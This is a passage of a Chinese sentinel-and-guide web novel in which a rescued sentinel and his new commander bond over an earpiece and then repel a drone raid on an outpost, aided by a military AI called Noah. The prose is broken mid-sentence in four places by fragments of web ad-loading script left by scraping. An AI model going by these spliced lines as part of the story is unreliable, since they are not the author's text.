然后,废墟出口的光线突然一暗。 一只巨大的手掌伸了进来。 这是一只漂亮修长的手,也许还是白皙的,但是上面沾满了泥土和血迹,季绥看不清皮肤本来的颜色。 他心里有些复杂,没想到临死前的走马灯居然还带着魔幻色彩。 那么大一只手,快赶上一个小孩大小。 这手掌的主人是从巨人国来的? 还没待他想出个所以然,那只巨手便用着无法抵挡的强大力量,拽着他的小腿将他硬生生从房子最里面拖了出去。 连一点挣扎的余地都没有。 “可真粗暴。”季绥可有可无地埋怨对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方,死到临头都不能让他体验一下被温柔对待的滋味。 他被巨手从废墟里掏了出来,一时间强光刺得他睁不开双眼。 那一刻,季绥与年幼的自己融为一体,躲在废墟三四天,眼睛许久没见到强光,此时正一抽一抽地痛着,生理性泪水爬满了他的脸。 突然,他感觉一块漆黑的软布从天而降,隔绝了外面的光线,将他完全罩住。 突如其来的温暖将他整个人砸得晕乎乎的。 黑布带着人体的余温,还有一股淡淡的、清冷好闻的气息。 那气息几乎将他全身都包裹起来。 季绥从没有感受过心里那样的平静温和。 仿佛心中一切的焦躁不安都被这春风般的气息拂去,比给他打三支镇定剂还好用。 季绥一边唾弃自己,一边仍止不住地嗅着这气息,恨不得将这块巨大的黑布拆骨入腹。 “别怕。” 头顶传来了一道冷淡低沉的声音,安慰的意味很是明显。 怕? 季绥奇怪地想,他怎么会怕? 习惯过着刀尖舔血生活的季绥,怎么会怕? 两只巨手再度伸过来,一只连同黑布将他举得老高,另一只手则狠狠揉弄他的头发。 随后那只手又放在了他的背上,从尾椎向上反复摩擦,把他本就许久未换的脏衣服撩得卡在胸前,露出半截肌肉紧实的小腹。 季绥一脸懵逼,但对方的动作仍在继续。 几次下来,季绥感觉自己全身的毛孔都在舒张,毛都被捋顺了。 舒服,爽快。 爽的他恨不得把自己兽型的尾巴和耳朵也一同甩出来任由对方揉搓。 他怎么也想不明白,这种标准的撸狗动作,怎么就叫他这般舒心踏实。 好想碰触对方的手指。 季绥向来是个行动派,他这么想着,身体就已经做好准备,打算趁着那只巨手再次伸来时,把自己的手贴过去趁机碰瓷摸两下。 刚伸出右手,季绥突然愣住了。他像是没看过自己的手一般稀奇地将两只手都举在眼前。 那端枪向来稳得一批的双手,居然在微微颤抖。 等到他再回过神来,自己已经重新站在了黑暗之中。 废墟、巨手、黑布……通通不见了踪影。 一切都像是一场荒诞不经的梦。 梦醒了,又剩下他自己了。 季绥反而更适应此时的感受。 他独自一人,朝着一个方向,溜溜达达走着。 然后,他看到自己的面前突然迸射出了万丈光芒。 光芒过去,远处一堆模糊杂乱的东西骤然放大,在他的面前来回晃动。 这是什么东西? 季绥用力眨了眨眼,感觉眼前杂乱的线条正在逐渐重合。 只见闻易几人正争先恐后地把自己的大脸往他面前挤,活像是这辈子没见过他的模样。 一边挤,一边哭。 “……我打扰到你们哭丧了?” 季绥张开嘴,才惊觉自己的嗓子哑得像是啃了千年老树皮。 “队长!队长!你可终于醒了!” 闻易嗷的一声扑到了季绥身上,疼得季绥差点一脚把他蹬下去。 “呜呜呜……你再不醒来我都怀疑你挂了……”闻易一把鼻涕一把泪地哭诉着, “指挥官结束精神链接,扔下一句让我看着你就没影了……我还以为他在骗我……呜呜呜……” 季绥忍了又忍,最终忍无可忍,拼着一身伤把闻易掀翻了下去。 然后,他才听明白闻易口中的话。 “又有新的指挥官来了?”他的表情有些奇怪。 “是啊……你还没听过他的声音吧?” 闻易傻傻地说: “还怪好听的,一点都不蛮横,就是有点冷漠。” 不。 季绥摇着头。 他在梦里,已经听到过了。 8. 交锋 自从听说自己是被新来的指挥官救下后,季绥的心路历程就很是坎坷。 一方面,他对向导这种生物抱有着天然的不喜欢;另一方面,他从没设想过有一天居然会有一个向导愿意救他。 而对待救命恩人,季绥觉得自己不该抱有以往的偏见。 但他刚杀了对方的同事,就这么被放出来了,究竟是对方太傻,还是另有企图? “你好,指挥官。” 他率先向对方问好,紧绷的声线昭示着他此时的心情并不像表面那般平静。 对面的人显然不会察觉到他这别扭的想法,白成渊虽然已经猜到了季绥身份,但还是按照通话的正常步骤,确认道: “A-013?” “是我。”对方立刻给出了答复。 然后就不再有任何声音。 白成渊扬了扬眉,开始怀疑自己辛苦救下的小队长是不是被打傻了。 好在季绥很快继续道: “抱歉打扰您休息。我的副官说您救了我,谢谢。”语气硬邦邦的。 “不用谢?”白成渊的声音中带着一丝不确定。 A-013特意动用哨所小队长的权利跟他通话,恐怕不只是为了道谢。 果不其然,对面又响起了男人的声音: “所以……你为什么要救我?” 季绥直接说出了心里话。他完全不相信对方会无缘无故救他,也懒得去试探对方。 从阎王殿里转了一圈,他突然想明白了很多事情。 第一件事,就是放弃与那些高高在上的指挥官虚与委蛇。 白成渊诧异于对方打直球的行为,反问: “你觉得我为什么救你?” “不管是为了展示你高尚的情操,还是为了给你的政敌添乱,我都不是一个好选择。” 白成渊意有所指,“你不怕我是第二个‘蝮蛇’?” 蝮蛇正是李家老七的代号。 “蝮蛇?软脚虾还差不多。” 季绥的声音逐渐变冷,“我能杀一个,自然也能杀第二个。” “然后让你的队员再减损12名?” 终端对面的呼吸声突然一滞,几秒钟后,声音再次响起,只不过这一次染上了些许沙哑, “听着,指挥官,随你怎么处置我,但不让队员前往非负责区域是我的底线。” “你在跟我谈条件吗?”白成渊觉得有趣,A-013已经明晃晃地将自己的弱点呈现在了他面前。 “可我要你能做些什么?”他故意刺激对方,“整个哨所都是我的。” “那要问你自己心里是怎么想的。” 季绥并不担心对方不同意这个请求,既然愿意救下他,就说明他还有利用的价值。 采石也好,刺杀也罢,只要不牵扯到其他人,他都可以接受。 “我同意你的条件。合作愉快,A-013。”白成渊思索片刻便爽快答应下来。 他本来就有意和对方熟识起来,答应这个请求不过是顺手为之。 他正想说出自己的要求,却听到身后响起一声惊呼。 白成渊凭借下意识的反应迅速向身旁躲去,余光里有只高脚杯从空中摔落,金色的香槟洒满地面。 斑驳的水迹一直延伸到他的脚下。 低头一看,右腿的裤子果然已经湿成一片,裤脚滴答着酒水。 而罪魁祸首,正是站在几步之外身穿露背礼服的男孩。 男孩的神态惊慌失措,姣好的容颜搭配着微簇的眉头更显楚楚可怜,让人不禁联想到丛林深处的小鹿。 白成渊隐约觉得对方的脸有些眼熟。 “先生!真是对不起。” 男孩掏出手帕,不由分说地弯腰擦拭起白成渊的裤子。 从俯视的角度看去,白成渊能看到长裙下男孩白皙的背部和纤细的腰部。 白成渊心里暗叹一声,将他扶起,“不必如此,我去换一身衣服好了。” “先生,”男孩泫然欲泣,“请一定要接受我的补偿,不然我心里会过不去的。” “你想怎么补偿?” 白成渊额角的血管突突直跳,仿佛已经能猜到对方下一句将要说些什么。 “我愿意按照这套服装的费用二倍赔偿给您,您能否将您的终端号码发给我?” “呵。” 耳机里突然传来一声幸灾乐祸的嗤笑,震得白成渊耳朵发麻。 男孩离他很近,说的话一点不落地被收进了耳机里。 为了不让A-013继续看戏,白成渊报出去一串数字,然后说了一句失陪,迅速离开了这里。 他找到站在角落的侍者,让对方领着他去休息室更换衣服。 走在路上,便又听到耳中传来了那人戏谑的声音。 “身份尊贵的白长官,给个号码共度良宵吧?” A-013细着嗓子学男孩的腔调,语气活灵活现,竟然叫他学了个十成。“ 这语气算不上好,带着嘲弄的意味,却也不至于叫人心生厌烦。 白成渊本就心累,闻言没好气地呛了一句:“怪叫什么。” 话一出口,才意识到自己居然将对方当做了韩申。 面对下属放松警惕,这可是指挥官的大忌。 白成渊心里有些懊悔,一时间不知道如何作答。 场面一度变得尴尬起来。 季绥本来只是习惯性地嘴贱嘲讽向导,从没指望对方能回应,如今头一回得了回复,整个人简直受宠若惊。 两人之间针锋相对的气氛居然就这样得到了缓解。 季绥不再说话,白成渊便跟着侍者专心走路。 进了休息室,侍者找来了与他身材相仿的新礼服,弯腰退了出去。 白成渊听着耳边浅浅的呼吸,本想着寻个理由挂断终端,却听见那边问: “你在参加宴会?我听到音乐声了。” “嗯。”白成渊有问必答。 “果然是这样。”对面的语气带着几分了然。 A-013嘴中哼着小调,正是宴会上刚刚演奏的那一曲。 “你也听过这首歌?”白成渊有些疑惑。 “那当然,我好歹也是蒙多国人,小时候逢年过节,路边虚拟屏循环播放这首歌。如今好久没听到了,就记得一句词。” 他有些抱怨道:“你们倒好,参加宴会邂逅美人……我现在全身裹满了绷带,外面又套着厚重的棉衣,通讯耳机被耳罩压在耳朵里,很不舒服。” 白成渊很少能听到这样的语调,他是个彻头彻尾的北方人,出生在寒冷的冬日,平时生活里接触到的也都是说话有些粗糙的北方汉子。 可是季绥的声音里却带着一点不明显的南方语调,腔调有些软,甚至给白成渊一种对方在撒娇的错觉。 如果忽略这个“撒娇”的人能徒手拧断敌人脖子的话。 白成渊甚至有些荒诞地想到,上一次听到这种像是撒娇的抱怨,好像还是在韩申家里。 他那八岁的小侄子在大发牢骚为什么小孩要写作业,而大人却可以在隔壁喝酒看电影一样。 白成渊不理解对方为什么要做出这种故作亲昵的姿态,却依旧颇有耐心地听着。 今晚的他出乎意料地有耐心。 许是厌烦了和那群唯利是图的商人们商业吹捧,又不想去和莺莺燕燕的贵族小姐公子聊八卦吃瓜,来一场浪漫的“邂逅”,更烦自己随便说一句话都要被有心之人揣测半天…… 白成渊换好衣服后慢吞吞地不愿出去。 他心里还有一个解释,却不肯仔细去想。 那就是,因为对面的人是不久前刚开诚布公向他示过弱的A-013。 白成渊百无聊赖地靠坐在休息室的沙发上,思想天人交战一番后,果断选择从宴会上“消失”一阵。 反正宴会也不缺他一个。 没了他,那群商人还有其他要吹捧的对象,那些公子小姐仍有没完没了的目标,那些暗藏在真真假假下的机锋还在被人翻来覆去地揣摩。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于是,他干脆心安理得地霸占着休息室的房间,打算好好和自己这不按常理出牌的下属聊一聊天打发时间。 白成渊按照自己的记忆,伴着从门缝里飘进来的时断时续的背景乐,哼唱着这首帝国人都耳熟能详的曲子。 这是四十年前一位风华绝代的女星所作的歌曲,一经发行便风靡了整个帝国,一度博得了当时当权人的喜爱。 为了迎合当权人的口味,也是表达自己对这位歌星的喜爱,这首歌被人们一直保留下来,将里面不适合的歌词改了改,就成了帝国逢年过节必要播放的经典曲目。 白成渊唱歌不难听,将里面的调子做了降调处理后,整首歌唱下来居然也有些莫名的韵味。 他的嗓音条件很好,唱到低沉处喃喃的声音好似耳语,又像是在念白。一首恢弘澎湃的歌曲被他唱得反倒像是在娓娓道来讲述故事。 副歌部分被他偷懒跳过,几句唱罢,他末了又有些不好意思地说了一句献丑。 耳机里好久没传来响声,久到向来自我感觉良好的白成渊开始怀疑自己唱的歌是不是遭到了对方的嫌弃。 A-013终于姗姗来迟地赞了一声好。 “很好听,比起原唱,我更喜欢你这首。” 白成渊顿时哑然失笑,他一个非专业人士,怎么可能比人家歌后唱的好听? 要真有这个本事,他早就去当超级偶像了,还用天□□六晚N地指挥士兵跟敌国打来打去。 “你这马屁拍的一点都不高明。”白成渊故意揭穿他。 “不一样的。” 对面的A-013反驳,“除了歌词,两首歌已经完全不一样了。” “你这首歌,大概更符合我现在的感受。” 两人有一句没一句地聊着,过了一会,A-013突然问道: “你听到了吗?” “听到什么?”白成渊一时摸不到头脑。 对面依旧只有呼吸声,朦朦胧胧,罩着一层绒布听不真切。 他屏息凝神,同时将耳机的音量调到最大。 “呼——呼——” “呼——呼——” 是A-013略有急促的呼吸,还有凌乱的脚步声。 渐渐地,他又从那呼吸声中隐约听到了咚咚的心跳。 一声一声,沉稳有力。 许是信号原因,心跳声时断时续,听不真切,随后便如鼓点般越来越密集,几乎连成一片…… 不对。 白成渊迅速反应过来,人的心跳怎么可能这么快。 一阵衣料摩擦的声响,对面的声音骤然放大数倍,猜得到是A-013摘下了耳罩,将耳机从那厚厚的绒布下彻底解放出来。 电光火石间,白成渊听到了清晰如鸟啼的破空声,还有混沌沉重得如滚滚巨雷的轰鸣。 那是来自太古的巨响。 “轰隆——轰隆——轰!” 他再熟悉不过的声音。 体内潜藏的本能瞬间激活,白成渊甚至不需要低头,手指翻飞便在终端上输下了一长串口令。 休息室的门被猛然打开,外面的歌曲已经变成了缱绻的吴侬软语,光鲜亮丽的人们觥筹交错,每个人脸上都洋溢着志在必得的笑容。 有人注意到了休息室的动静,举杯迎向这位本该作为宴会一份子却中途逃走的客人。 可看清楚他脸上表情后,那人却突然像是被定住了脚一样僵在原地,谄媚的笑意当即消失。 白成渊知道自己此刻的脸色一定很难看,但他已经顾不上这些。 他推开了在舞池中翩翩起舞的人群,惊起一叠声的娇呼埋怨。 在众人惊惧的目光下,他一脚踹开了沉重的大门,那本要由两人合力才能推开的雕花红漆铁门竟就这般轰然大开。 夺门而出的那一刻,白成渊清楚地听到了耳机对面的嘶吼: “有敌袭——!” “注意隐蔽!!” 话刚出口,便被如千钧雷鸣的巨响轰得四分五裂。 9. 敌袭 “三秋,向军部发送紧急申请!” 白成渊一路狂奔,从花园的旋梯上一跃而下,引得身后众人发出惊呼。耳机里很快就插入了一道电子音: 【紧急申请通过,已成功接入蜂巢。】 【您好,白鸦,检测到紧急突发事件,我是秘书长诺厄,请指示。】 白成渊的气息有些不稳:“诺厄!汇报十一号哨所当前的情况,把那边的实时监控传送过来,我要了解战况!” 【收到。】 没有起伏的电子音简洁明了,不出三秒,一连串的信息提示音响起。 白成渊快步跑向停车场,场地内部的照明灯感应到有人经过,瞬间排排亮起。 其中一盏照明灯脱离了安保系统的控制,一反常态地闪烁着红芒,立刻引起了白成渊的注意。 他来不及绕路,右手撑着围栏一举翻进停车场,电子保安检测到非法入侵,发出尖锐的警报声,红蓝警示灯交替闪烁。 然而,还没等闪烁几下,灯光便倏地熄灭,连同警报也戛然而止。 【已为您减少不必要流程。】 诺厄以不容置疑的权限接管了白塔停车场,并在一瞬间更改了这里的安全初始设置。 这种事情并不少见。 紧急情况下,诺厄会无视一切非必要规则,直至彻底解除危机。 那边,白成渊三下五除二跑到那盏照明灯的位置,看见自己的悬浮车正安安稳稳停在那里。 悬浮车内的操控屏幕已经亮起,刚关上车门,车辆便如同离弦的箭一般冲出停车位。 【已为您自动规划路线,根据当前路况,预计十五分钟后抵达军部指挥大楼。】 白成渊将终端上接收到的信息一一点开,里面正是哨所的监控录像。 数字哨所由于其特殊的地理位置和用处,常年处于二十四小时的监控之下。 这些视频会定期压缩发送到帝国中枢AI监督者的终端,统一存放在核心数据库中,半年清除一次。只有在指挥官有特殊需求时,才能申请哨所的实时监控。 不过好在白成渊的权限比较高,可以立即看到哨所现场的直播画面。 十一号哨所监视器传来的视频将虚拟屏幕分割成十二个小正方形画面,从不同角度将哨所的全貌呈现出来。 一片漆黑之中,红外摄像头正在尽职尽责地记录着目前所发生的一切。 白成渊仔细盯着这些格子画面,按理来说,一旦无人机接近十一号哨所的领空范围,监督者就会第一时间察觉并发出示警。 可这一次,向来无坚不摧的防御网却被敌人悄悄撕开了一个口子。白成渊听着耳边接连不断的枪声,来不及去询问原因。 “A-013,能听到我的声音吗?” 耳边只剩下一阵风声。 白成渊看着监控投影,发现其中的三块已经黑了屏。 他咬了咬后槽牙,这是敌军的无人机在大肆破坏监控器。 他现在没法立刻在蜂巢内指挥作战,鞭长莫及,若是监控器全部毁坏,无疑会失去对战场的控制。 一支银白色的无人机悄无声息地落在了屏幕的正中央。眼看着第四个监控器就要被破坏,电光火石间,只见枪声乍响,无人机原地炸成了碎片。 “……A-013?” “……是我。” 耳机里传来季绥气喘吁吁的声音,他的状态很差,嗓音嘶哑而又粗重。 白成渊大概记得第十一号哨所的设施分布,根据监控视频,他拼拼凑凑出了目前的情况。 “A-013,目前你的位置大约在武器仓库附近对吧?” 他的语速有些急促,“在你的三点钟方向,有两架无人机,你的十一点钟方向,有一只小型侦查机器狗,两个机械枪手,训练场附近还有六架无人机,闻易他们正在阻击。” “现在,我命令你,把武器库附近的无人机和枪手击毁,保证武器库的安全。” “……不开权限吗?”季绥等了一会,堪堪躲开头顶高速旋转的子弹,有些不可置信地摸了摸后颈的抑制器。 “首先,我现在不在军部没有权限。其次,” 白成渊将十指翻飞,在虚拟屏幕上输入指令, “以你现在的状态,开放五感会导致腺体废掉。” 季绥翻身打滚躲开子弹,闻言两眼一黑,咬牙切齿:“你知道我还剩几发子弹吗?” “五发。”白成渊颇为冷静地回答了他。 “机械狗可以一脚踹翻,那东西没有五分钟自己翻不回身体,剩下的一个一枪,还可以省下一发留给你自己。” “安排得明明白白。”季绥听到这话,流氓似的吹了一声口哨,“当初怎么不把你也挂在路灯上。” 白成渊权当自己耳聋,抓紧时间输入指令。 好在那边季绥说归说,手上的动作却一刻不停。 “砰砰”两枪,直接把空中进行火力压制的无人机打落到地面上。 剩下两个机械枪手发觉情况不妙,开始不要钱似的朝季绥的方向射击。 白成渊盯着屏幕,突然发觉其中一个枪手的行为不大对劲,瞬间警觉起来,大喊:“离开那里!” 季绥下意识向右侧飞扑,下一秒,他之前所在的位置被丢了一个微型手雷。 “轰隆”一声巨响,季绥连人带枪滚出四五米,正好落入另一个监视器的拍摄区域。 “A-013,你怎么样?!”白成渊死死盯着屏幕上一动不动的哨兵。 只见十几秒钟过去,季绥的手臂突然抖了抖。他恍惚地抬起头,来不及拍打身上的灰尘,踉踉跄跄躲进了一旁的雪坡下面。 白成渊见状立刻松了口气。 最后一个数据编辑完成,他用力按下了执行键。 原本用于阻止哨兵越狱而安置在武器库外的战斗型机器人得到激活指令,朝着机械枪手的方向跑去,钢铁撞击地面发出沉重的声响。 “操。”季绥抽着冷气将头埋进雪里,以缓解全身的剧痛,“那个老古董不是用来装饰军火库外观的吗?还能用?” “按理来说是用不了的。最早的型号,连枪都是非自动枪。” 白成渊看着眼前近在咫尺的军部大楼, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 立刻推门下车, “但是,当肉盾还是绰绰有余的。”他一字一顿道。 军部大楼内部的指引灯一路亮起,白成渊飞快跑向自己的指挥室。 推开门的刹那,天花板镶嵌的灯管立刻亮起,将室内摆放的东西照得一清二楚。 足有半面墙壁大的屏幕已经亮起,各种精密的仪器排列在周围,桌面上还有堆积如山的文件,墙壁上挂着精准细致的作战地图。 然而,最引人瞩目的,还是长桌中央,被玻璃罩覆盖着的金属匣子——终端处理器。 黑色动乱之后,帝国的科技得到了迅速发展。身为指挥官的向导们可以远离战场,在保证人身安全的情况下进行远程战斗指挥。 而这,全都要得益于军部大楼的设计。 这座大楼的外表像是一座半球形碉堡,然而,地面之上不过是冰山一角。 真正重要的部分是深入地下的一百多米,大约有三十层,每一层都有上百个房间,每个房间里都放着独立的终端处理器。 这些终端处理器会根据大量的数据和理论模型,模拟指挥官的操作行为。 它们既能在战斗时协助指挥官更全面地掌握战局,也能在指挥官不在时维持哨所的简单运作。 每一个终端处理器的名字都是“诺厄”,它会根据不同指挥官的风格,发展出不同的辅助特点;但真正的诺厄,位处在军部大楼的最底层,那里重兵把守,有着据说能够占据整个空间的中枢系统。 隶属于军部的人工智能系统诺厄,如同女王蜂一样指挥着每一个房间的终端处理器,而那些在这里工作的向导指挥官以及其他工作人员,则是维持着这个钢铁“蜂巢”正常运行的工蜂。 白成渊坐在指挥椅上,将自己的终端连接到终端处理器上。 【欢迎使用IV型终端处理器。】 荧蓝色的光芒从天花板迸发而出,自上而下笼罩在白成渊身上,很快将他的全身扫描完毕。 【用户身份验证成功。】 【欢迎回家,白鸦。距离您的假期结束还有五十二小时三十三分十七秒。】 【已为您开启指挥权限,当前权限等级:A级。】 【秘书长诺厄竭诚为您服务。】 大屏幕上依次出现了五个红点,代表己方哨兵,分布在哨所附近。还有九个无法进行信号识别的对象——正是敌方的无人机与机械枪手。 此时,位于哨所的正后方,有一个闪烁的白色光点,那里是指挥官的虚拟位置。 白成渊调整着指挥台上的旋钮,将终端链接的范围逐渐扩大。 只见大屏幕上,一道蓝色的透明屏障正随着他的动作向哨所的外部扩散,直至将附近的每一个红点都囊括其中。 整个房间安静不已,一时间只能听到终端处理器细微的嗡嗡声。 十一号哨所的每一位哨兵同时收到了精神链接的命令,他们来不及犹豫,在无人机的火力压制下连忙同意了请求。 白成渊感觉到了轻微的眩晕感,很快,他的眼前豁然开朗起来。 此时此刻,他也身处在战场之上。 10. 击退 “小心!快躲开!!” 闻易飞扑着将队员撞开,翻身滚到了障碍物后,借此躲避无人机的扫描。 天空中零零散散着几点红光,在万里无云的夜空下格外显眼,连同远处的星河构成了一幅和谐美好的画面。 下一秒,光点闪动,打破了原本的和谐。只听一声闷响,身边的成桦发出了一声短促的低吟。 闻易无需回头,就嗅到了淡淡的血味。 他这里虽然有四名哨兵,可除了自己以外,剩下的都是没什么作战经验的哨兵,平时最多负责巡逻和站岗而已。 几人身上都挂了彩,被这几架无人机追得狼狈不已。 “B-001,放出你的精神体,其余人不要轻举妄动,掩护精神体突围。”耳边响起了男人淡漠的声音。 闻易先是愣住,随后才意识到出声的人是指挥官。他提起精神,连忙按着耳机回复: “收到。” 与此同时,腺体抑制器得到解除,精神力从精神图景中一涌而出,半米之外,凭空出现在了一只淡灰色的短毛大猫。 大猫向前伸了个懒腰,睁着圆溜溜的浅色兽瞳,耳朵向后翻折,细长的尾巴似无骨般贴着闻易的手臂飞快划过。 闻易的精神体是少见的远东豹,天生的雪地王者,动作轻盈灵动,攻击性强,非常适合突袭。 精神链接的作用在同一时刻显露出来—— 四名哨兵同时感受到了一种来自灵魂深处的召唤,仿佛有什么东西一下子将他们联系在一起。 眼前的世界突然呈现出了全然不同的模样,这是向导眼中的世界—— 一个又一个不同颜色的光球漂浮在身边,每一个光球代表着一种生命,不远处,六个黑点高高悬在空中。 眼前的重重障碍完全消失,即使在黑暗之中,他们也能感知到无人机所在的位置。 不需要视觉,不也需要听觉,敌机的位置就那样直接暴露在他们的精神世界中。 身体前所未有的轻松,原本的疲惫一扫而空,甚至连受伤产生的疼痛都在消减。 即使不愿意承认,但四人心里不约而同升起了一句话:精神链接真他大爷的舒服。 “开始攻击吧。”白成渊发出了总攻的指示。 哨所另一边。 老式机器人被枪手打烂了双腿,轰然倒塌在地面上,散成一堆废铜烂铁。 季绥弯腰贴着地面飞速冲出,如同鬼魅般,悄无声息地捡起了机器人掉落的非自动枪械。 “我要突击了。” 他偏头吐出一口血,用手背擦了擦嘴角暗红的血迹。 “好。” 白成渊没有劝季绥等待救援。 武器库里面有着研究院前不久研发出来的新型试用机,这些试用机每一架都独一无二,价值千金。 如果研究成功,这些机器将会成为战场上扭转乾坤的决定性力量。 军部自知将白成渊扔去十一号哨所的事做得有些不地道,于是选择从别的地方来补偿他。 试用机就是补偿之一。 如果武器库被毁,十一号哨所将面临着前所未有的打击,严峻程度比起减损的十二名成员有过之而无不及,甚至有可能成为第六个沦陷的数字哨所。 “我会最大程度上辅助你的行动。” 白成渊从不吝啬使用精神力,尤其在作战的时候。他将精神力尽力释放出来,试图缓解季绥身体上的疼痛。 “不过是几个小喽啰而已。”季绥大话说得轻松,话音刚落就已经上前进攻。 机械枪手察觉到季绥靠近时,双方的距离只有三米。 其中一个枪手端起激光枪瞄准,可下一秒,眼前早已空无一人。 机械枪手头上的摄像头四处转动,扫描仪将周围可能躲藏的地方一一进行了检查。 还未待那两个机械枪手反应过来,巨大的力道便从身侧袭来。 季绥借着巧劲,双腿夹住机器人脖子的连接处用力一扭,直接将对方赖以生存的摄像头撅断。 紧接着,他一脚踏在那个没头机器人的身体上,以惊人的弹跳力一跃而起,矫捷的身体在空中拱出一道漂亮的弧线。 “嘭”的一声枪响,子弹命中了另一个机器人的胸口。 然而,这只让枪手受到冲力后退半步,下一刻便发动了反击。 子弹擦着季绥扬起的发丝飞过,他当即闻到了一股烧焦的气味。 破垃圾枪! 季绥把手中的枪翻来覆去骂了一遍,手动上膛后,再次贴近了那名枪手。 “不要改变动作,继续向前冲。” 白成渊突然开口。 季绥看着正在瞄准的机械枪手,有些动摇。 继续贴近的话,即使以他的身手,也难以躲开来自正面的射击。 他看着黑洞洞的枪口,脑海中警铃大作。身经百战后的经验告诉他,现在撤离还有机会躲过这轮射击。 不然,子弹将毫无疑问穿透他的胸膛。 只要稍微扭转脚尖,就可以安然无恙。 不然,还能真拿着这把不能连发的破枪去跟机械枪手拼命? 他怎么会把希望寄托在一名向导身上…… 一名他刚认识不到三个小时的向导。 “相信我。” 白成渊开口道:“你得试着去相信我。” 他的声音不含任何情绪,但季绥莫名听出了几分安抚的意味。 疯了。 真是疯了。 那一刻,季绥仿佛又嗅到了那股似有似无的气息,那种来自于向导腺体的,足以使他灵魂安息的气息。 他重重叹了口气,凝重的表情骤然放松下来。 季绥猛地深吸,端着这把比他年纪还大的老古董枪,毫不犹豫地撞向了敌方的枪口。 就在机械枪手按下扳机的那一刻,白成渊喊道: “射击!” 季绥扣动扳机,两声枪响几乎重叠响起。 银色的子弹高速旋转,从机械枪手的枪口迸射而出。 季绥看着那枚子弹,浅金色的圆眼微微瞪大,心脏如擂鼓般跳动,呼吸愈发急促。 在子弹就要射向他胸膛的那一刻,一道黑影一闪而过。 季绥没有触碰到任何东西,在后坐力的作用下,他重心不稳地向后摔倒。 预想之中的疼痛并没有到来。 他呆呆坐在地上,眯起的眼睛缓缓睁开一条缝。 只见一支黑色的无人机坠毁在地面,飘散着袅袅黑烟。 而对面那个机械枪手头顶闪烁的亮灯,早已熄灭。在它的胸口处,扭曲的洞口露出内里断开的电线,正由于短路而冒着火星。 “真不错。” 白成渊吹了个口哨,毫不掩饰自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的欣赏, “能两发子弹打在同一个地方的,也就只有你了。” 季绥惊魂未定,肾上腺素飙升,心跳声吵得他就快听不清对方说什么了。 与死亡贴面而过的刺激感,让两只毛茸茸的兽耳不受控制地从柔软的头发下刷地冒出来。 好在季绥还算清醒,在白成渊表扬的同时,又一枪解决了那个没了脑袋的机械枪手。 至此,除了不远处四脚朝天,汪汪大叫的机械狗以外,武器库附近的敌军全部歼灭。 闻易那边同样传来了消息,训练场的六支无人机被悉数击毁。 指挥室内,白成渊略松一口气,单手拉开了领结。 他的终端上还连着十一号哨所的监视器,此时恰好能看到季绥缓缓支棱起来的狼耳。 “那支无人机……” “……什么时候?” 季绥一脸茫然,即使戴着腺体抑制器,他的五感仍比寻常人强大数倍。 可他却完全没有听到无人机飞行的声音。 确认敌军不会再发起任何袭击后,白成渊放松下来。 他看着那双迎风抖动的兽耳,不自觉染上了一丝极为浅淡的笑意, “那是悬停在空中的敌方指挥机。”他说。 就目前的技术而言,无人机作战离不开指挥台的指挥。有些指挥台会被塑造成无人机的模样,有些则以机器人的形象出现。 指挥台的样子千奇百怪,但无一例外都涂有反追踪材料。为了最大程度上保证战斗的顺利进行,除了指挥以外,指挥台不会从事任何其他行动。 因此,只要位置足够隐蔽,任何人都难以通过监测手段,判断出指挥台的位置。 “我开了干扰器。”白成渊继续道。 季绥不明所以, “干扰器技术不是已经被攻破了吗?” “是这样没错。” 白成渊靠在软椅上,全神贯注地指挥一场战斗,对他来说也是很大的消耗。 “虽然攻破了,但还是有破绽的。” 他的声音微微停顿,直指重点:“延迟。” 季绥本来还在思索,听到这两个字,顿时醍醐灌顶,兽耳向上一扬,有些兴奋道: “你是说闻易和我这边有延迟!” 白成渊心里暗自赞许,明面上情绪没什么起伏,同意了对方的观点。 为了保证信号良好,指挥台距离无人机的位置向来不会太远。 十一号哨所面临着两侧夹击,如果指挥台不在闻易那里,那么就该在武器库附近。 因此,白成渊在指挥战斗的间隙,派诺厄对两方的监控视频进行了比对分析。 结果显示,闻易所在的训练场中,无人机的反应速度都要稍慢于武器库这边。 这与白成渊的猜测一致。 毕竟对方的目的应该就是要摧毁武器库,从而让十一号哨所彻底失去反抗的能力。 有了大致的范围,剩下的事情就好办多了。 诺厄调动了附近全部的检测器,在监督者的协助下,锁定了指挥台的信号来源。 在季绥近身攻击机械枪手的同时,诺厄开始攻克指挥台的防御系统。 白成渊本来只希望指挥台被攻击可以扰乱枪手的行动,没想到诺厄直接攻破了对方的防御机制,接管了指挥台的控制权。 这才有了刚才颇为惊险的一幕。 11. 错误 “既然问题解决,那我就结束精神链接了。” 白成渊将自己的军用终端从处理器中取出,切断了与哨兵们的精神链接。 监视器里,闻易等人大步流星从训练场跑来,将已经恢复正常形态的季绥从地上扶起。 众人围着他团团转,活像是狼群看见首领受伤,一个个都紧张不已,生怕季绥就此一命呜呼。 比起向导,哨兵们更加崇尚力量,只有强者才能获得尊重。他们更像是有着智慧的野兽,遵循着自己的天性与本能。 【我想,您需要去休息室睡一觉。】诺厄的声音在耳边适时响起。 白成渊看着屏幕里的哨兵,摆摆手,从抽屉里拿出一盒药,直接吞咽了几粒。 【根据上一年度的报告,您的体重为68kg,略低于标准男性向导的体重,建议您减少1-2片服用剂量。】 “你去查了我的体检报告单?”白成渊眉头一挑。 有时候,他分不清诺厄究竟是太智能了还是太死板了。 它会守着自己的底层逻辑来构筑运行方式,会堪称细致入微地将每一位指挥官的信息记录在档案内,并表现出“关心”的情绪。 但也会像刚刚那样公然和他“叫板”,质疑指挥官的行为是否公平公正,并要求按照法律对一名哨兵处以最顶格的惩罚。 不管怎样,蒙多国毫无疑问已离不开诺厄和监督者的协助。 人们对于这两者的存在早就习以为常,可是—— 白成渊想起今晚的突袭。 监督者没有发出任何示警,按理来说这本是它的工作范围。 这并不是一个好消息,甚至有可能因此引发骚乱。 他在心底暗叹一声,随即起身离开了指挥室。 * 